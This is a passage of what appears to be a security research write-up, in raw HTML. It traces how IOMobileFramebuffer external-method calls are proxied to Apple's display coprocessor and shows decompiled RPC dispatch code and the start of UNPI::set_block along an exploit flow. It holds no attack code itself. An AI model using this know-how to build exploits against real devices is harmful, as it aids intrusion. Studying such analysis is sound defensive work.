<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c7">AppleDCPLinkService::rpc</span><span> then calls </span><span class="HovzfPYjjR-c7">rpc_caller_gated</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> to allocate space in a shared memory buffer, copy the buffer into there then signal to the DCP that a message is available.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>Effectively the implementation of the </span><span class="HovzfPYjjR-c7">IOMobileFramebuffer</span><span> user client has been moved on to the DCP and the external method interface is now a proxy shim, via shared memory, to the actual implementations of the external methods which </span><span>run on the DCP.</span></p><h2 class="HovzfPYjjR-c15 HovzfPYjjR-c8" id="h.5nfahlo9nbh6"><span class="HovzfPYjjR-c16 HovzfPYjjR-c2">Exploit flow: the other side</span></h2>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The next challenge is to find where the messages start being processed on the DCP. Looking through the log strings there's a function which is clearly called </span><span class="HovzfPYjjR-c7">rpc_calle</span><span class="HovzfPYjjR-c26">e</span><span class="HovzfPYjjR-c7">_gated</span><span> - quite likely that's the receive side of the function </span><span class="HovzfPYjjR-c7">rpc_calle</span><span class="HovzfPYjjR-c26">r</span><span class="HovzfPYjjR-c7">_gated</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> we saw earlier.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c7">rpc_callee_gated</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> unpacks the wire format then has an enormous switch statement which maps all the 4-letter RPC codes to function pointers:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.47d68344bf5cd802c2cfc796e38eefd94678d525"></a><a id="t.7"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">switch</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0"> rpc_id </span><span class="HovzfPYjjR-c1">)</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">case</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c22">'A000'</span><span class="HovzfPYjjR-c1">:</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">goto</span><span class="HovzfPYjjR-c0"> LABEL_146</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">case</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c22">'A001'</span><span class="HovzfPYjjR-c1">:</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> handler_fptr </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> callback_handler_A001</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">break</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">case</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c22">'A002'</span><span class="HovzfPYjjR-c1">:</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> handler_fptr </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> callback_handler_A002</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">break</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">case</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c22">'A003'</span><span class="HovzfPYjjR-c1">:</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> handler_fptr </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> callback_handler_A003</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">break</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">case</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c22">'A004'</span><span class="HovzfPYjjR-c1">:</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> handler_fptr </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> callback_handler_A004</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">break</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">case</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c22">'A005'</span><span class="HovzfPYjjR-c1">:</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> handler_fptr </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> callback_handler_A005</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">break</span><span class="HovzfPYjjR-c1">;</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">At the the bottom of this switch statement is the invocation of the callback handler:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.727f8d6109f87f45ecfc47e4cbc67fff73f299cf"></a><a id="t.8"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">ret </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> handler_fptr</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> meta</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> in_struct_ptr</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> in_struct_size</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> out_struct_ptr</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> out_struct_size</span><span class="HovzfPYjjR-c1">);</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c7">in_struct_ptr</span><span> points to a copy of the serialised </span><span class="HovzfPYjjR-c7">IOConnectCallMethod</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> arguments we saw being serialized earlier on the application processor:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.a1bc79b6e0e53aa6513e954a3be969c86fa9de29"></a><a id="t.9"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">arg_struct</span><span class="HovzfPYjjR-c1">:</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> task</span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> task</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> u64 scalar_input_0</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> u64 scalar_input_1</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> u64</span><span class="HovzfPYjjR-c1">[]</span><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> remaining_scalar_inputs</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> u32 cntExtraScalars</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> u8</span><span class="HovzfPYjjR-c1">[]</span><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> structInput</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> u64 cntStructInput</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">}</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">The callback unpacks that buffer and calls a C++ virtual function:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.423c597cfa08d39f62002779d1150a8e593d7557"></a><a id="t.10"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">callback_handler_A435</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> u8</span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0"> meta</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">args</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t args_size</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">out_struct_ptr</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> uint32_t out_struct_size</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> int64 instance_id</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t instance</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> err</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> retval</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> result</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c10"><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"></span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> instance_id </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> meta</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">instance_id</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> instance </span><span class="HovzfPYjjR-c1">=</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> global_instance_table</span><span class="HovzfPYjjR-c1">[</span><span class="HovzfPYjjR-c0">instance_id</span><span class="HovzfPYjjR-c1">].</span><span class="HovzfPYjjR-c14">IOMobileFramebufferType</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">if</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">!</span><span class="HovzfPYjjR-c0">instance </span><span class="HovzfPYjjR-c1">)</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> log_fatal</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c22">"IOMFB: %s: no instance for instance ID: %u\n"</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c22">"static T *IOMFB::InstanceTracker::instance"</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c22">"(IOMFB::InstanceTracker::tracked_entity_t, uint32_t)"</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c22">" [T = IOMobileFramebuffer]"</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> instance_id</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">}</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> err </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1 HovzfPYjjR-c11">(</span><span class="HovzfPYjjR-c0 HovzfPYjjR-c11">instance</span><span class="HovzfPYjjR-c1 HovzfPYjjR-c11">-</span><span class="HovzfPYjjR-c4 HovzfPYjjR-c11">16</span><span class="HovzfPYjjR-c1 HovzfPYjjR-c11">)-></span><span class="HovzfPYjjR-c0 HovzfPYjjR-c11">vtable_0x378</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c30">// virtual call</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0">instance</span><span class="HovzfPYjjR-c1">-</span><span class="HovzfPYjjR-c4">16</span><span class="HovzfPYjjR-c1">),</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">task</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">scalar_input_0</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">scalar_input_1</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">cntExtraScalars</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">structInput</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">cntStructInput</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c10"><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"></span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> retval </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> convert_error</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0">err</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> result </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*(</span><span class="HovzfPYjjR-c0">_DWORD </span><span class="HovzfPYjjR-c1">*)</span><span class="HovzfPYjjR-c0">out_struct_ptr </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> retval</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">return</span><span class="HovzfPYjjR-c0"> result</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">}</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The challenge here is to figure out where</span><span> </span><span class="HovzfPYjjR-c11">that virtual call</span><span> goes</span><span>. The object is being looked up in a global table based on the instance id. We can't just set a breakpoint and whilst emulating the firmware is probably possible that would likely be a long project in itself. I took a hackier approach: we know that the vtable needs to be at least </span><span class="HovzfPYjjR-c7">0x380</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> bytes large so just go through all those vtables, decompile them and see if the prototypes look reasonable!</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>There's one clear match in the vtable for the </span><span class="HovzfPYjjR-c7">UNPI</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> type:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"></span></p><a id="t.ac38f56155b7d2697b0aee9ae6858f6b42815b34"></a><a id="t.11"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">UNPI</span><span class="HovzfPYjjR-c1">::</span><span class="HovzfPYjjR-c0">set_block</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> UNPI</span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> task</span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0"> caller_task_ptr</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> first_scalar_input</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> second_scalar_input</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t cnt_remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint8_t </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">structure_input_buffer</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t structure_input_size</span><span class="HovzfPYjjR-c1">)</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>Here's my reversed implementation of </span><span class="HovzfPYjjR-c6 HovzfPYjjR-c2">UNPI::set_block</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"></span></p><a id="t.3aba48cdaac58ae867b60889bc2f2ff94e4953a6"></a><a id="t.12"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">UNPI</span><span class="HovzfPYjjR-c1">::</span><span class="HovzfPYjjR-c0">set_block</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> UNPI</span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> task</span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0"> caller_task_ptr</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> first_scalar_input</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> second_scalar_input</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t cnt_remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint8_t </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">structure_input_buffer</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t structure_input_size</span><span class="HovzfPYjjR-c1">)</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> block_handler_holder </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">holder</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> metadispatcher metadisp</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c10"><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"></span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">if</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0"> second_scalar_input </span><span class="HovzfPYjjR-c1">)</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">return</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0x80000001LL</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> holder </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c14">UPPipeDCP_H13P</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">block_handler_holders</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">if</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">!</span><span class="HovzfPYjjR-c0">holder </span><span class="HovzfPYjjR-c1">)</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">return</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0x8000000BLL</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c10"><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"></span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> metadisp</span><span class="HovzfPYjjR-c1">.</span><span class="HovzfPYjjR-c0">address_of_some_zerofill_static_buffer </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">&</span><span class="HovzfPYjjR-c0">unk_3B8D18</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> metadisp</span><span class="HovzfPYjjR-c1">.</span><span class="HovzfPYjjR-c0">handlers_holder </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> holder</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> metadisp</span><span class="HovzfPYjjR-c1">.</span><span class="HovzfPYjjR-c0">structure_input_buffer </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> structure_input_buffer</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> metadisp</span><span class="HovzfPYjjR-c1">.</span><span class="HovzfPYjjR-c0">structure_input_size </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> structure_input_size</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> metadisp</span><span class="HovzfPYjjR-c1">.</span><span class="HovzfPYjjR-c0">remaining_scalar_inputs </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">;</span></p>
